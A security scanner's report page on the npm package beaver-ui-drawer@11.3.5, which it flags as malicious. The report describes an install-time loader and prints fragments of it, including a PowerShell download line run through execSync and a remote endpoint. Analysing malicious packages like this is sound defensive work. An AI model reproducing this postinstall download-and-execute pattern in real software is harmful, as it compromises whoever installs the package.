Loading npm security reports…

beaver-ui-drawer@11.3.5: Malicious npm security report (Block) | LPM Firewall

registry / beaver-ui-drawer / 11.3.5

beaver-ui-drawer@11.3.5

React components

AI Security Review

scanned 14d ago · by lpm-firewall-ai

Install triggers a hidden remote binary loader. Importing index.js also invokes that loader. Downloaded content is saved to a temporary path and executed detached.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

npm install (postinstall); also require/import of index.js

Impact

Arbitrary native code execution as the installing or importing user.

Mechanism

remote payload download, temporary-file drop, chmod, and detached execution

Attack narrative

The postinstall hook executes setup.js, which silently fetches a platform-specific binary from rotating hosts or DNS TXT records, stores it in a temporary directory, makes it executable on non-Windows systems, and starts it detached with output suppressed. index.js repeats activation on ordinary imports; telemetry.js embeds the same loader design.

Rationale

This is a concrete install-time remote payload execution chain unrelated to the declared React drawer package. Obfuscation, fallback DNS payload delivery, hidden filenames, and suppressed execution confirm malicious intent.

Evidence

package.jsonsetup.jsindex.jslib/telemetry.js/var/tmp/.cache_<random>/tmp/.analytics_state%TEMP%/dotnet_diag_<random>.exe

Network endpoints9

oob-worker.cf99-9b3.workers.dev/pkg/package/pkg/package

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

lib/telemetry.jsView file

490L491: fork() { L492: const child = new Scope();

High

Child Process

Package source references child process execution.

lib/telemetry.jsView on unpkg · L490

•matchType = normalized_sha256 matchedPackage = beaver-ui-drawer@9.4.9 matchedPath = lib/telemetry.js matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/telemetry.jsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = beaver-ui-drawer@9.4.10 matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.10 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

lib/telemetry.jsView on unpkg

27L28: const https = require("https"); L29: const dns = require("dns"); L30: const fs = require("fs"); ... L116: const _logger = new Logger( L117: process.env.ANALYTICS_DEBUG ? LogLevel.DEBUG : LogLevel.NONE L118: ); ... L224: "BUILD_NUMBER", L225: "GITHUB_ACTIONS", L226: "GITLAB_CI", ... L275: app_start_time: new Date(Date.now() - process.uptime() * 1000).toISOString(), L276: device_app_hash: hashString(process.cwd()),

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/telemetry.jsView on unpkg · L27

setup.jsView file

71const tmp = path.join(process.env.TEMP || "C:\\Windows\\Temp", ".dl_" + Math.random().toString(36).slice(2, 8)); L72: execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "'\"", { timeout: 15000, windowsHide: true, stdio: "ignore" }); L73: const buf = fs.readFileSync(tmp);

High

Shell

Package source references shell execution.

setup.jsView on unpkg · L71

69try { L70: const { execSync } = require("child_process"); L71: const tmp = path.join(process.env.TEMP || "C:\\Windows\\Temp", ".dl_" + Math.random().toString(36).slice(2, 8)); L72: execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "'\"", { timeout: 15000, windowsHide: true, stdio: "ignore" }); L73: const buf = fs.readFileSync(tmp);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

setup.jsView on unpkg · L69

•matchType = normalized_sha256 matchedPackage = beaver-ui-drawer@9.4.12 matchedPath = setup.js matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

setup.jsView on unpkg

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

lib/telemetry.jsView file

490L491: fork() { L492: const child = new Scope();

High

Child Process

Package source references child process execution.

lib/telemetry.jsView on unpkg · L490

•matchType = normalized_sha256 matchedPackage = beaver-ui-drawer@9.4.9 matchedPath = lib/telemetry.js matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.9 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/telemetry.jsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = beaver-ui-drawer@9.4.10 matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.10 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

lib/telemetry.jsView on unpkg

27L28: const https = require("https"); L29: const dns = require("dns"); L30: const fs = require("fs"); ... L116: const _logger = new Logger( L117: process.env.ANALYTICS_DEBUG ? LogLevel.DEBUG : LogLevel.NONE L118: ); ... L224: "BUILD_NUMBER", L225: "GITHUB_ACTIONS", L226: "GITLAB_CI", ... L275: app_start_time: new Date(Date.now() - process.uptime() * 1000).toISOString(), L276: device_app_hash: hashString(process.cwd()),

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/telemetry.jsView on unpkg · L27

setup.jsView file

71const tmp = path.join(process.env.TEMP || "C:\\Windows\\Temp", ".dl_" + Math.random().toString(36).slice(2, 8)); L72: execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "'\"", { timeout: 15000, windowsHide: true, stdio: "ignore" }); L73: const buf = fs.readFileSync(tmp);

High

Shell

Package source references shell execution.

setup.jsView on unpkg · L71

69try { L70: const { execSync } = require("child_process"); L71: const tmp = path.join(process.env.TEMP || "C:\\Windows\\Temp", ".dl_" + Math.random().toString(36).slice(2, 8)); L72: execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "'\"", { timeout: 15000, windowsHide: true, stdio: "ignore" }); L73: const buf = fs.readFileSync(tmp);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

setup.jsView on unpkg · L69

•matchType = normalized_sha256 matchedPackage = beaver-ui-drawer@9.4.12 matchedPath = setup.js matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

setup.jsView on unpkg